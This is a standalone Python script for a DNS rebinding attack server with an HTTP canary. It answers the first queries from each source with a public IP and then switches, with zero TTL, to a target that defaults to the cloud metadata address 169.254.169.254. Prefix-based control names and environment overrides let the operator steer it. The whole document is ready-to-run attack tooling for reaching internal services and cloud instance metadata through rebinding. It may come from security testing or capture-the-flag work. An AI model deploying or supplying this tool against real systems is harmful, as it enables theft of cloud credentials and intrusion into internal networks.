#!/usr/bin/env python3
"""Pure-stdlib DNS rebinding flipper + HTTP canary.
Answers the *first* N queries from a source with PUBLIC, then flips to TARGET (TTL 0).
Magic query-name prefixes for control:
  r.foo  -> reset that source's counter, answer PUBLIC
  p.foo  -> always PUBLIC (canary/diagnostic)
  t.foo  -> always TARGET (direct)
  <other> -> flip logic
Environment overrides: PUBLIC, TARGET, FLIP_AFTER, BIND_IP.
"""
import os, socket, struct, threading, sys
from http.server import BaseHTTPRequestHandler, HTTPServer

PUBLIC = os.environ.get("PUBLIC", "43.134.170.46")
TARGET = os.environ.get("TARGET", "169.254.169.254")
FLIP_AFTER = int(os.environ.get("FLIP_AFTER", "1"))

def ipb(ip):
    return bytes(int(x) for x in ip.split("."))

PUBLIC_B, TARGET_B = ipb(PUBLIC), ipb(TARGET)
counts = {}          # source ip -> count
lock = threading.Lock()

def get_private_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect(("8.8.8.8", 80))
        return s.getsockname()[0]
    finally:
        s.close()

BIND_IP = os.environ.get("BIND_IP") or get_private_ip()

def parse_qname(data, off):
    labels = []
    while off < len(data):
        l = data[off]
        if l == 0:
            return ".".join(labels), off + 1
        if (l & 0xC0) == 0xC0:
            return ".".join(labels), off + 2
        off += 1
        labels.append(data[off:off + l].decode("latin1", "replace"))
        off += l
    return ".".join(labels), off

def answer_for(qname, src):
    first = qname.split(".")[0].lower() if qname else ""
    with lock:
        if first == "r":
            counts[src] = 0
            return PUBLIC_B
        if first == "p":
            return PUBLIC_B
        if first == "t":
            return TARGET_B
        cnt = counts.get(src, 0)
        ip = PUBLIC_B if cnt < FLIP_AFTER else TARGET_B
        counts[src] = cnt + 1
        return ip

def build_response(query, src_ip):
    if len(query) < 12:
        return None
    tid = query[:2]
    qname, off = parse_qname(query, 12)
    qtype = struct.unpack(">H", query[off:off + 2])[0] if off + 2 <= len(query) else 1
    question = query[12:off + 4] if off + 4 <= len(query) else query[12:]
    if qtype == 1:  # A
        ip = answer_for(qname, src_ip)
        header = tid + struct.pack(">HHHHH", 0x8180, 1, 1, 0, 0)
        answer = struct.pack(">HHHLH", 0xC00C, 1, 1, 0, 4) + ip
        return header + question + answer, qname, ip
    # AAAA or other -> empty NOERROR
    header = tid + struct.pack(">HHHHH", 0x8180, 1, 0, 0, 0)
    return header + question, qname, None

def log(src, qname, ip):
    sys.stderr.write(f"[dns] src={src} q={qname} -> {ip or '(empty)'}\n")
    sys.stderr.flush()

def serve_udp():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((BIND_IP, 53))
    sys.stderr.write(f"[dns] UDP listening on {BIND_IP}:53\n")
    while True:
        data, addr = s.recvfrom(512)
        resp, qname, ip = build_response(data, addr[0])
        log(addr[0], qname, ip)
        s.sendto(resp, addr)

def serve_tcp():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((BIND_IP, 53))
    s.listen(16)
    sys.stderr.write(f"[dns] TCP listening on {BIND_IP}:53\n")
    while True:
        conn, addr = s.accept()
        threading.Thread(target=handle_tcp, args=(conn, addr), daemon=True).start()

def handle_tcp(conn, addr):
    try:
        d = conn.recv(2)
        if len(d) < 2:
            conn.close(); return
        ln = struct.unpack(">H", d)[0]
        data = b""
        while len(data) < ln:
            chunk = conn.recv(ln - len(data))
            if not chunk:
                break
            data += chunk
        resp, qname, ip = build_response(data, addr[0])
        log(addr[0], qname, ip)
        conn.sendall(struct.pack(">H", len(resp)) + resp)
    except Exception as e:
        sys.stderr.write(f"[tcp err] {e}\n")
    finally:
        conn.close()

class Canary(BaseHTTPRequestHandler):
    def do_GET(self):
        self._respond()
    do_POST = do_GET
    def _respond(self):
        body = b"C A N A R Y - public-ip response\n"
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a):
        pass

def serve_http():
    srv = HTTPServer(("0.0.0.0", 8080), Canary)
    sys.stderr.write("[http] canary listening on 0.0.0.0:8080\n")
    srv.serve_forever()

if __name__ == "__main__":
    threading.Thread(target=serve_udp, daemon=True).start()
    threading.Thread(target=serve_tcp, daemon=True).start()
    threading.Thread(target=serve_http, daemon=True).start()
    sys.stderr.write(f"[main] PUBLIC={PUBLIC} TARGET={TARGET} FLIP_AFTER={FLIP_AFTER} BIND_IP={BIND_IP}\n")
    try:
        while True:
            sys.stdin.readline()
    except KeyboardInterrupt:
        pass